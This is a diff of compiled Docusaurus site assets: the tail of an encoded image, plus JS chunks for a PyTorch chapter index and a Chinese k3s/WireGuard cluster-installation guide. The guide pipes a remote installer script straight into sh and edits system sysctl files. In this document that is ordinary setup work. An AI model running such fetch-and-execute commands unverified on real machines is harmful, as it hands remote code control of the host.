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"},88062:(A,e,n)=>{n.d(e,{A:()=>t});const t=n.p+"assets/images/ft_gradient-3c7c64891c99ec1b3222e973cbfda993.png"}}]); \ No newline at end of file diff --git a/assets/js/8b0e9b92.ab4626f8.js b/assets/js/8b0e9b92.ab4626f8.js new file mode 100644 index 0000000..4f87e36 --- /dev/null +++ b/assets/js/8b0e9b92.ab4626f8.js @@ -0,0 +1 @@ +"use strict";(globalThis.webpackChunkblog=globalThis.webpackChunkblog||[]).push([[60],{28453:(e,t,n)=>{n.d(t,{R:()=>c,x:()=>i});var s=n(96540);const r={},l=s.createContext(r);function c(e){const t=s.useContext(l);return s.useMemo(function(){return"function"==typeof e?e(t):{...t,...e}},[t,e])}function i(e){let t;return t=e.disableParentContext?"function"==typeof e.components?e.components(r):e.components||r:c(e.components),s.createElement(l.Provider,{value:t},e.children)}},41544:(e,t,n)=>{n.r(t),n.d(t,{assets:()=>o,contentTitle:()=>i,default:()=>a,frontMatter:()=>c,metadata:()=>s,toc:()=>d});const s=JSON.parse('{"id":"\u4e2a\u4eba\u77e5\u8bc6\u5e93/AI/PyTorch/\u7b2c\u56db\u7ae0/README","title":"\u7b2c\u56db\u7ae0","description":"|\u4f5c\u8005|\u4fee\u8ba2\u65f6\u95f4|","source":"@site/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/10.AI/01.PyTorch/04.\u7b2c\u56db\u7ae0/README.md","sourceDirName":"\u4e2a\u4eba\u77e5\u8bc6\u5e93/10.AI/01.PyTorch/04.\u7b2c\u56db\u7ae0","slug":"/\u4e2a\u4eba\u77e5\u8bc6\u5e93/AI/PyTorch/\u7b2c\u56db\u7ae0/","permalink":"/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/AI/PyTorch/\u7b2c\u56db\u7ae0/","draft":false,"unlisted":false,"editUrl":"https://github.com/facebook/docusaurus/tree/main/packages/create-docusaurus/templates/shared/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/10.AI/01.PyTorch/04.\u7b2c\u56db\u7ae0/README.md","tags":[],"version":"current","frontMatter":{},"sidebar":"tutorialSidebar","previous":{"title":"3.9 \u4f18\u5316\u5668.md","permalink":"/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/AI/PyTorch/\u7b2c\u4e09\u7ae0/3.9 \u4f18\u5316\u5668"},"next":{"title":"4.1 ResNet.md","permalink":"/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/AI/PyTorch/\u7b2c\u56db\u7ae0/4.1 ResNet"}}');var r=n(74848),l=n(28453);const c={},i="\u7b2c\u56db\u7ae0",o={},d=[];function h(e){const t={code:"code",h1:"h1",header:"header",img:"img",pre:"pre",table:"table",tbody:"tbody",td:"td",th:"th",thead:"thead",tr:"tr",...(0,l.R)(),...e.components};return(0,r.jsxs)(r.Fragment,{children:[(0,r.jsx)(t.header,{children:(0,r.jsx)(t.h1,{id:"\u7b2c\u56db\u7ae0",children:"\u7b2c\u56db\u7ae0"})}),"\n\n\n\n\n\n\n\n\n\n\n\n\n\n",(0,r.jsxs)(t.table,{children:[(0,r.jsx)(t.thead,{children:(0,r.jsxs)(t.tr,{children:[(0,r.jsx)(t.th,{style:{textAlign:"left"},children:"\u4f5c\u8005"}),(0,r.jsx)(t.th,{style:{textAlign:"left"},children:"\u4fee\u8ba2\u65f6\u95f4"})]})}),(0,r.jsx)(t.tbody,{children:(0,r.jsxs)(t.tr,{children:[(0,r.jsx)(t.td,{style:{textAlign:"left"},children:(0,r.jsx)(t.img,{src:"https://img.shields.io/badge/wjlin0-%E4%B8%AA%E4%BA%BA%E7%9F%A5%E8%AF%86%E5%BA%93-green",alt:"wjlin0"})}),(0,r.jsx)(t.td,{style:{textAlign:"left"},children:"2026-06-07 20:53:17"})]})})]}),"\n\n\n\n\n\n\n\n\n\n\n\n\n\n",(0,r.jsxs)(t.table,{children:[(0,r.jsx)(t.thead,{children:(0,r.jsxs)(t.tr,{children:[(0,r.jsx)(t.th,{style:{textAlign:"left"},children:"\u4f5c\u8005"}),(0,r.jsx)(t.th,{style:{textAlign:"left"},children:"\u4fee\u8ba2\u65f6\u95f4"})]})}),(0,r.jsx)(t.tbody,{children:(0,r.jsxs)(t.tr,{children:[(0,r.jsx)(t.td,{style:{textAlign:"left"},children:(0,r.jsx)(t.img,{src:"https://img.shields.io/badge/wjlin0-%E4%B8%AA%E4%BA%BA%E7%9F%A5%E8%AF%86%E5%BA%93-green",alt:"wjlin0"})}),(0,r.jsx)(t.td,{style:{textAlign:"left"},children:"2026-06-07 18:21:47"})]})})]}),"\n",(0,r.jsx)(t.h1,{id:"\u7b2c\u56db\u7ae0pytorch\u57fa\u7840\u5b9e\u6218",children:"\u7b2c\u56db\u7ae0\uff1aPyTorch\u57fa\u7840\u5b9e\u6218"}),"\n",(0,r.jsx)(t.pre,{children:(0,r.jsx)(t.code,{className:"language-{toctree}",children:":maxdepth: 2\n4.1 ResNet\n4.2 GoogLeNet\n4.3 DenseNet\n4.4 FashionMNIST\u56fe\u50cf\u5206\u7c7b\n"})})]})}function a(e={}){const{wrapper:t}={...(0,l.R)(),...e.components};return t?(0,r.jsx)(t,{...e,children:(0,r.jsx)(h,{...e})}):h(e)}}}]); \ No newline at end of file diff --git a/assets/js/8f006e34.d4f7fbf3.js b/assets/js/8f006e34.d4f7fbf3.js new file mode 100644 index 0000000..e4fb626 --- /dev/null +++ b/assets/js/8f006e34.d4f7fbf3.js @@ -0,0 +1 @@ +"use strict";(globalThis.webpackChunkblog=globalThis.webpackChunkblog||[]).push([[6595],{28453:(e,n,s)=>{s.d(n,{R:()=>c,x:()=>d});var i=s(96540);const l={},r=i.createContext(l);function c(e){const n=i.useContext(r);return i.useMemo(function(){return"function"==typeof e?e(n):{...n,...e}},[n,e])}function d(e){let n;return n=e.disableParentContext?"function"==typeof e.components?e.components(l):e.components||l:c(e.components),i.createElement(r.Provider,{value:n},e.children)}},72654:(e,n,s)=>{s.r(n),s.d(n,{assets:()=>h,contentTitle:()=>d,default:()=>a,frontMatter:()=>c,metadata:()=>i,toc:()=>t});const i=JSON.parse('{"id":"\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u6e17\u900f\u6d4b\u8bd5/\u5185\u7f51\u6e17\u900f/k3s\u5b89\u88c5/README","title":"k3s\u5b89\u88c5","description":"|\u4f5c\u8005|\u4fee\u8ba2\u65f6\u95f4|","source":"@site/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/01.\u6e17\u900f\u6d4b\u8bd5/04.\u5185\u7f51\u6e17\u900f/03.k3s\u5b89\u88c5/README.md","sourceDirName":"\u4e2a\u4eba\u77e5\u8bc6\u5e93/01.\u6e17\u900f\u6d4b\u8bd5/04.\u5185\u7f51\u6e17\u900f/03.k3s\u5b89\u88c5","slug":"/\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u6e17\u900f\u6d4b\u8bd5/\u5185\u7f51\u6e17\u900f/k3s\u5b89\u88c5/","permalink":"/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u6e17\u900f\u6d4b\u8bd5/\u5185\u7f51\u6e17\u900f/k3s\u5b89\u88c5/","draft":false,"unlisted":false,"editUrl":"https://github.com/facebook/docusaurus/tree/main/packages/create-docusaurus/templates/shared/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/01.\u6e17\u900f\u6d4b\u8bd5/04.\u5185\u7f51\u6e17\u900f/03.k3s\u5b89\u88c5/README.md","tags":[],"version":"current","frontMatter":{},"sidebar":"tutorialSidebar","previous":{"title":"Kubelet","permalink":"/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u6e17\u900f\u6d4b\u8bd5/\u5185\u7f51\u6e17\u900f/kubernetes/k8s\u4e0b\u7684\u5404\u79cd\u672a\u6388\u6743/Kubelet"},"next":{"title":"Linux\u63d0\u6743","permalink":"/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u6e17\u900f\u6d4b\u8bd5/\u5185\u7f51\u6e17\u900f/Linux\u63d0\u6743/"}}');var l=s(74848),r=s(28453);const c={},d="k3s\u5b89\u88c5",h={},t=[{value:"\u5b89\u88c5k3s",id:"\u5b89\u88c5k3s",level:2},{value:"\u57fa\u4e8ehelm\u5b89\u88c5ingress-nginx",id:"\u57fa\u4e8ehelm\u5b89\u88c5ingress-nginx",level:2},{value:"WireGuard\u7ec4\u7f51\uff08\u5185\u7f51\u96a7\u9053\u642d\u5efa\uff09",id:"wireguard\u7ec4\u7f51\u5185\u7f51\u96a7\u9053\u642d\u5efa",level:2},{value:"\u524d\u63d0",id:"\u524d\u63d0",level:3},{value:"\u5b89\u88c5",id:"\u5b89\u88c5",level:3},{value:"\u90e8\u7f72",id:"\u90e8\u7f72",level:3},{value:"\u81ea\u52a8\u5316\u914d\u7f6e",id:"\u81ea\u52a8\u5316\u914d\u7f6e",level:3},{value:"\u914d\u7f6e\u70ed\u91cd\u8f7d",id:"\u914d\u7f6e\u70ed\u91cd\u8f7d",level:3},{value:"\u90e8\u7f72server",id:"\u90e8\u7f72server",level:2},{value:"\u90e8\u7f72agent",id:"\u90e8\u7f72agent",level:2},{value:"\u5b89\u88c5ingres-nginx",id:"\u5b89\u88c5ingres-nginx",level:2}];function x(e){const n={a:"a",blockquote:"blockquote",code:"code",h1:"h1",h2:"h2",h3:"h3",header:"header",img:"img",li:"li",p:"p",pre:"pre",table:"table",tbody:"tbody",td:"td",th:"th",thead:"thead",tr:"tr",ul:"ul",...(0,r.R)(),...e.components};return(0,l.jsxs)(l.Fragment,{children:[(0,l.jsx)(n.header,{children:(0,l.jsx)(n.h1,{id:"k3s\u5b89\u88c5",children:"k3s\u5b89\u88c5"})}),"\n\n\n\n\n\n\n\n\n\n\n\n\n\n",(0,l.jsxs)(n.table,{children:[(0,l.jsx)(n.thead,{children:(0,l.jsxs)(n.tr,{children:[(0,l.jsx)(n.th,{style:{textAlign:"left"},children:"\u4f5c\u8005"}),(0,l.jsx)(n.th,{style:{textAlign:"left"},children:"\u4fee\u8ba2\u65f6\u95f4"})]})}),(0,l.jsx)(n.tbody,{children:(0,l.jsxs)(n.tr,{children:[(0,l.jsx)(n.td,{style:{textAlign:"left"},children:(0,l.jsx)(n.img,{src:"https://img.shields.io/badge/wjlin0-%E4%B8%AA%E4%BA%BA%E7%9F%A5%E8%AF%86%E5%BA%93-green",alt:"wjlin0"})}),(0,l.jsx)(n.td,{style:{textAlign:"left"},children:"2025-10-15 00:34:06"})]})})]}),"\n",(0,l.jsx)(n.h1,{id:"\u5355\u4e91\u90e8\u7f72k3s",children:"\u5355\u4e91\u90e8\u7f72k3s"}),"\n",(0,l.jsx)(n.h2,{id:"\u5b89\u88c5k3s",children:"\u5b89\u88c5k3s"}),"\n",(0,l.jsxs)(n.p,{children:["\u7531\u4e8e\u9ed8\u8ba4k3s\u5b89\u88c5\u4f1a\u5b89\u88c5",(0,l.jsx)(n.code,{children:"traefik"}),"\uff0c\u800c\u6211\u7528\u60ef\u4e86",(0,l.jsx)(n.code,{children:"ingress-nginx"}),"\u6240\u4ee5\u5c31\u79fb\u9664\u4e86",(0,l.jsx)(n.code,{children:"traefik"}),"\u7684\u5b89\u88c5"]}),"\n",(0,l.jsx)(n.pre,{children:(0,l.jsx)(n.code,{className:"language-sh",children:'# k3s v1.25+ \u4e4b\u540e flag \u2013no-deploy \u5f03\u7528\uff0c\u66f4\u6539\u4e3a \u2013disable\uff0c\u4f46\u5b89\u88c5\u524d\u9700\u8981\u786e\u8ba4 rancher \u652f\u6301\u7684 k3s \u7248\u672c\u8303\u56f4\uff0c\u76ee\u524d v1.25+ \u4e0d\u5728 rancher \u652f\u6301\u8303\u56f4\u5185\uff0c\u9700\u8981\u4f7f\u7528\u73af\u5883\u53d8\u91cf INSTALL_K3S_VERSION \u6307\u5b9a\u5b89\u88c5\u7248\u672c\n export INSTALL_K3S_EXEC="server --disable traefik"\n'})}),"\n",(0,l.jsx)(n.pre,{children:(0,l.jsx)(n.code,{className:"language-sh",children:"curl -sfL https://rancher-mirror.rancher.cn/k3s/k3s-install.sh | INSTALL_K3S_MIRROR=cn sh -\nsudo cp /etc/rancher/k3s/k3s.yaml $HOME/.kube/config\n"})}),"\n",(0,l.jsx)(n.h2,{id:"\u57fa\u4e8ehelm\u5b89\u88c5ingress-nginx",children:"\u57fa\u4e8ehelm\u5b89\u88c5ingress-nginx"}),"\n",(0,l.jsx)(n.p,{children:"\u5b89\u88c5helm"}),"\n",(0,l.jsx)(n.pre,{children:(0,l.jsx)(n.code,{className:"language-sh",children:"wget https://get.helm.sh/helm-v3.14.3-linux-amd64.tar.gz && tar -zxvf helm-v3.14.3-linux-amd64.tar.gz -C /tmp && mv /tmp/linux-amd64/helm /usr/local/bin/ && chmod +x /usr/local/bin/helm\n"})}),"\n",(0,l.jsxs)(n.p,{children:["\u6dfb\u52a0",(0,l.jsx)(n.code,{children:"ingress-nginx"})," \u5b98\u65b9\u4ed3\u5e93"]}),"\n",(0,l.jsx)(n.pre,{children:(0,l.jsx)(n.code,{className:"language-sh",children:"helm repo add ingress-nginx https://kubernetes.github.io/ingress-nginx\nhelm repo update\n"})}),"\n",(0,l.jsxs)(n.p,{children:["\u83b7\u53d6 ",(0,l.jsx)(n.code,{children:"ingress-nginx"})]}),"\n",(0,l.jsx)(n.pre,{children:(0,l.jsx)(n.code,{className:"language-sh",children:"helm pull ingress-nginx/ingress-nginx\ntar -zxvf ingress-nginx-4.10.0.tgz && rm ingress-nginx-4.10.0.tgz # \u6ce8\u610f\u60a8\u4e0b\u7684\u7248\u672c\u8fdb\u884c\u89e3\u538b\ncd ingress-nginx\n"})}),"\n",(0,l.jsx)(n.p,{children:"\u4fee\u6539\u56fd\u5185\u955c\u50cf\u5730\u5740"}),"\n",(0,l.jsxs)(n.p,{children:["\u4fee\u6539",(0,l.jsx)(n.code,{children:"controller"}),"\u7684",(0,l.jsx)(n.code,{children:"\u955c\u50cf\u5730\u5740"})]}),"\n",(0,l.jsx)(n.p,{children:(0,l.jsx)(n.img,{src:"https://cdn.wjlin0.com/img/202403291336377.png-.png",alt:"image-20240314125144515"})}),"\n",(0,l.jsxs)(n.p,{children:["\u65e0",(0,l.jsx)(n.code,{children:"hostNetwork"})," \u4fee\u6539"]}),"\n",(0,l.jsx)(n.pre,{children:(0,l.jsx)(n.code,{className:"language-yaml",children:'default:\n .....\n externalTrafficPolicy: "Local"\n'})}),"\n",(0,l.jsx)(n.p,{children:(0,l.jsx)(n.img,{src:"https://cdn.wjlin0.com/img/202403291336378.png-.png",alt:"image-20240314185220229"})}),"\n",(0,l.jsx)(n.h1,{id:"\u591a\u4e91\u90e8\u7f72k3s",children:"\u591a\u4e91\u90e8\u7f72k3s"}),"\n",(0,l.jsx)(n.h2,{id:"wireguard\u7ec4\u7f51\u5185\u7f51\u96a7\u9053\u642d\u5efa",children:"WireGuard\u7ec4\u7f51\uff08\u5185\u7f51\u96a7\u9053\u642d\u5efa\uff09"}),"\n",(0,l.jsxs)(n.blockquote,{children:["\n",(0,l.jsx)(n.p,{children:"[!Tip]"}),"\n",(0,l.jsxs)(n.p,{children:["\u7531\u4e8e\u4e70\u7684\u56fd\u5185\u5382\u5546\u6253\u6298\u670d\u52a1\u5668\uff0c\u5927\u90e8\u5206\u60c5\u51b5\u4e0b\u90fd\u65e0\u6cd5\u5728\u540c\u4e00\u5bb6\u5382\u5546\u4e70\u5230\u591a\u53f0\u4f18\u60e0\u670d\u52a1\u5668\uff0c\u6b64\u65f6\u60f3\u642d\u5efa K3S \u96c6\u7fa4\u5c31\u9700\u8981\u8d70\u516c\u7f51\uff0c\u76f4\u63a5\u901a\u8fc7K3S \u7684\u5b89\u88c5\u65b9\u5f0f\u8282\u70b9\u4e4b\u95f4\u65e0\u6cd5\u901a\u4fe1\uff0c\u56e0\u6b64\u9700\u8981\u4f7f\u7528 ",(0,l.jsx)(n.code,{children:"WireGuard"}),"\u6765\u7ec4\u7f51\u3002"]}),"\n"]}),"\n",(0,l.jsx)(n.h3,{id:"\u524d\u63d0",children:"\u524d\u63d0"}),"\n",(0,l.jsxs)(n.p,{children:["\u5728\u642d\u5efa\u8de8\u4e91\u7684 ",(0,l.jsx)(n.code,{children:"k3s"})," \u96c6\u7fa4\u524d\uff0c\u9700\u8981\u5148\u628a ",(0,l.jsx)(n.code,{children:"WireGuard"})," \u5b89\u88c5\u597d\uff0c",(0,l.jsx)(n.code,{children:"WireGuard"})," \u5bf9\u5185\u6838\u6709\u8981\u6c42\uff0c\u8981\u5347\u7ea7\u5230 ",(0,l.jsx)(n.code,{children:"5.15.2-1.el7.elrepo.x86_64"}),"\u4ee5\u4e0a"]}),"\n",(0,l.jsx)(n.p,{children:"\u5e76\u4e14\u5f00\u542fIP\u8f6c\u53d1"}),"\n",(0,l.jsx)(n.pre,{children:(0,l.jsx)(n.code,{className:"language-tex",children:'echo "net.ipv4.ip_forward = 1" >> /etc/sysctl.conf\n\necho "net.ipv4.conf.all.proxy_arp = 1" >> /etc/sysctl.conf\n\nsysctl -p /etc/sysctl.conf\n'})}),"\n",(0,l.jsx)(n.p,{children:"\u4fee\u6539\u4e3b\u673a\u540d\u79f0"}),"\n",(0,l.jsx)(n.pre,{children:(0,l.jsx)(n.code,{className:"language-shell",children:"hostnamectl set-hostname k3s-xxx\n"})}),"\n",(0,l.jsx)(n.h3,{id:"\u5b89\u88c5",children:"\u5b89\u88c5"}),"\n",(0,l.jsxs)(n.p,{children:["\u5b89\u88c5 ",(0,l.jsx)(n.code,{children:"WireGuard"})]}),"\n",(0,l.jsx)(n.pre,{children:(0,l.jsx)(n.code,{className:"language-sh",children:"apt install wireguard\n"})}),"\n",(0,l.jsx)(n.p,{children:"\u5728\u6240\u6709\u4e3b\u673a\u4e0a\u4f7f\u7528\u4e00\u4e0b\u547d\u4ee4\u751f\u6210\uff0c\u516c\u79c1\u94a5\uff08\u7528\u4e8e\u5185\u7f51\u52a0\u5bc6\u901a\u8baf\u4f7f\u7528\uff09"}),"\n",(0,l.jsx)(n.pre,{children:(0,l.jsx)(n.code,{className:"language-shell",children:"wg genkey | tee privatekey | wg pubkey > publickey\n"})}),"\n",(0,l.jsx)(n.p,{children:"\u5bc6\u94a5\u662f\u914d\u7f6e\u5230\u672c\u673a\u7684\uff0c\u800c\u516c\u94a5\u662f\u914d\u7f6e\u5230\u5176\u5b83\u673a\u5668\u91cc\u7684,\u7ed3\u679c\u793a\u4f8b\u5982\u4e0b\uff1a"}),"\n",(0,l.jsx)(n.pre,{children:(0,l.jsx)(n.code,{className:"language-tex",children:"cat privatekey publickey\nEMWcI01iqM4zkb7xfbaaxxxxxxxxDo2GJUA=\n0ay8WfGOIHndWklSIVBqrsp5LDWxxxxxxxxxxxxxxQ=\n"})}),"\n",(0,l.jsx)(n.pre,{children:(0,l.jsx)(n.code,{className:"language-tex",children:"\u7136\u540e\u7f16\u5199\u914d\u7f6e\u6587\u4ef6\uff0c\u4ee5\u4f9b wg-quick \u4f7f\u7528\n\nvim /etc/wireguard/wg0.conf\n\u7136\u540e\u5199\u5165\u5982\u4e0b\u5185\u5bb9\n\n[Interface]\nPrivateKey = EMWcI01iqM4zkb7xfbaaxxxxxxxxDo2GJUA= #\uff08\u672c\u673a\u751f\u6210\u7684\u79c1\u94a5\uff09\nAddress = 192.168.2.1\nListenPort = 5418\n\n[Peer]\nPublicKey = Node-1\u670d\u52a1\u5668\u7684 publickey\u540e\u7eedNode-1\u751f\u6210\u540e\u518d\u6539\nEndPoint = (Node-1\u516c\u7f51IP):5418\nAllowedIPs = 192.168.2.2(Node-1\u5185\u7f51IP)/32\n[Peer]\nPublicKey = Node-2\u670d\u52a1\u5668\u7684 publickey\u540e\u7eedNode-2\u751f\u6210\u540e\u518d\u6539\nEndPoint = (Node-2\u516c\u7f51IP):5418\nAllowedIPs = 192.168.2.3\uff08Node-2\u5185\u7f51IP\uff09/32\n\n"})}),"\n",(0,l.jsx)(n.p,{children:"\u540c\u7406\u5176\u4ed6\u8282\u70b9\u5747\u4f7f\u7528\u8fd9\u4e2a"}),"\n",(0,l.jsx)(n.h3,{id:"\u90e8\u7f72",children:"\u90e8\u7f72"}),"\n",(0,l.jsx)(n.pre,{children:(0,l.jsx)(n.code,{className:"language-shell",children:"wg-quick up wg0\n"})}),"\n",(0,l.jsx)(n.h3,{id:"\u81ea\u52a8\u5316\u914d\u7f6e",children:"\u81ea\u52a8\u5316\u914d\u7f6e"}),"\n",(0,l.jsxs)(n.p,{children:["\u7cfb\u7edf\u91cd\u542f\u540e\uff0c",(0,l.jsx)(n.code,{children:"WireGuard"})," \u521b\u5efa\u7684\u7f51\u5361\u8bbe\u5907\u5c31\u4f1a\u4e22\u5931\uff0c",(0,l.jsx)(n.code,{children:"WireGuard"}),"\u63d0\u4f9b\u4e86\u81ea\u52a8\u5316\u7684\u811a\u672c\u6765\u89e3\u51b3\u8fd9\u4ef6\u4e8b\uff0c\u5728\u4e24\u53f0\u670d\u52a1\u5668\u90fd\u6267\u884c\u5982\u4e0b\u64cd\u4f5c"]}),"\n",(0,l.jsx)(n.pre,{children:(0,l.jsx)(n.code,{children:"systemctl enable wg-quick@wg0\n"})}),"\n",(0,l.jsx)(n.p,{children:"\u4f7f\u7528\u4e0a\u8ff0\u547d\u4ee4\u751f\u6210 systemd \u5b88\u62a4\u811a\u672c\uff0c\u5f00\u673a\u4f1a\u81ea\u52a8\u8fd0\u884c up \u6307\u4ee4\u3002"}),"\n",(0,l.jsx)(n.h3,{id:"\u914d\u7f6e\u70ed\u91cd\u8f7d",children:"\u914d\u7f6e\u70ed\u91cd\u8f7d"}),"\n",(0,l.jsxs)(n.p,{children:["wg-quick \u5e76\u672a\u63d0\u4f9b\u91cd\u8f7d\u76f8\u5173\u7684\u6307\u4ee4\uff0c\u4f46\u662f\u63d0\u4f9b\u4e86 ",(0,l.jsx)(n.code,{children:"strip"})," \u6307\u4ee4\uff0c\u53ef\u4ee5\u5c06 conf \u6587\u4ef6\u8f6c\u6362\u4e3a wg \u6307\u4ee4\u53ef\u4ee5\u8bc6\u522b\u7684\u683c\u5f0f\u3002"]}),"\n",(0,l.jsx)(n.pre,{children:(0,l.jsx)(n.code,{children:"wg syncconf wg0 <(wg-quick strip wg0)\n"})}),"\n",(0,l.jsx)(n.p,{children:"\u5373\u53ef\u5b9e\u73b0\u70ed\u91cd\u8f7d\u3002"}),"\n",(0,l.jsxs)(n.p,{children:["\u5b8c\u6210 ",(0,l.jsx)(n.code,{children:"WireGuard"})," \u7684\u5b89\u88c5\u914d\u7f6e\u4ee5\u540e\uff0c\u63a5\u4e0b\u6765\u5c31\u53ef\u4ee5\u5b89\u88c5 k3s \u7684\u96c6\u7fa4\u4e86\u3002"]}),"\n",(0,l.jsx)(n.h2,{id:"\u90e8\u7f72server",children:"\u90e8\u7f72server"}),"\n",(0,l.jsxs)(n.blockquote,{children:["\n",(0,l.jsxs)(n.p,{children:["\u4fee\u6539\u5bf9\u5e94\u7684\u5916\u90e8ip ",(0,l.jsx)(n.code,{children:"$SERVER_IP -> 101.43.95.147"})," ,",(0,l.jsx)(n.code,{children:"$SERVER_VIRTUAL_IP=192.168.2.1"})]}),"\n"]}),"\n",(0,l.jsx)(n.pre,{children:(0,l.jsx)(n.code,{className:"language-sh",children:'curl -sfL https://rancher-mirror.rancher.cn/k3s/k3s-install.sh | INSTALL_K3S_EXEC="server --disable traefik" INSTALL_K3S_MIRROR=cn K3S_TOKEN=token_1 sh -s - --node-ip "$SERVER_VIRTUAL_IP" --node-external-ip="$SERVER_IP" --flannel-backend=wireguard-native 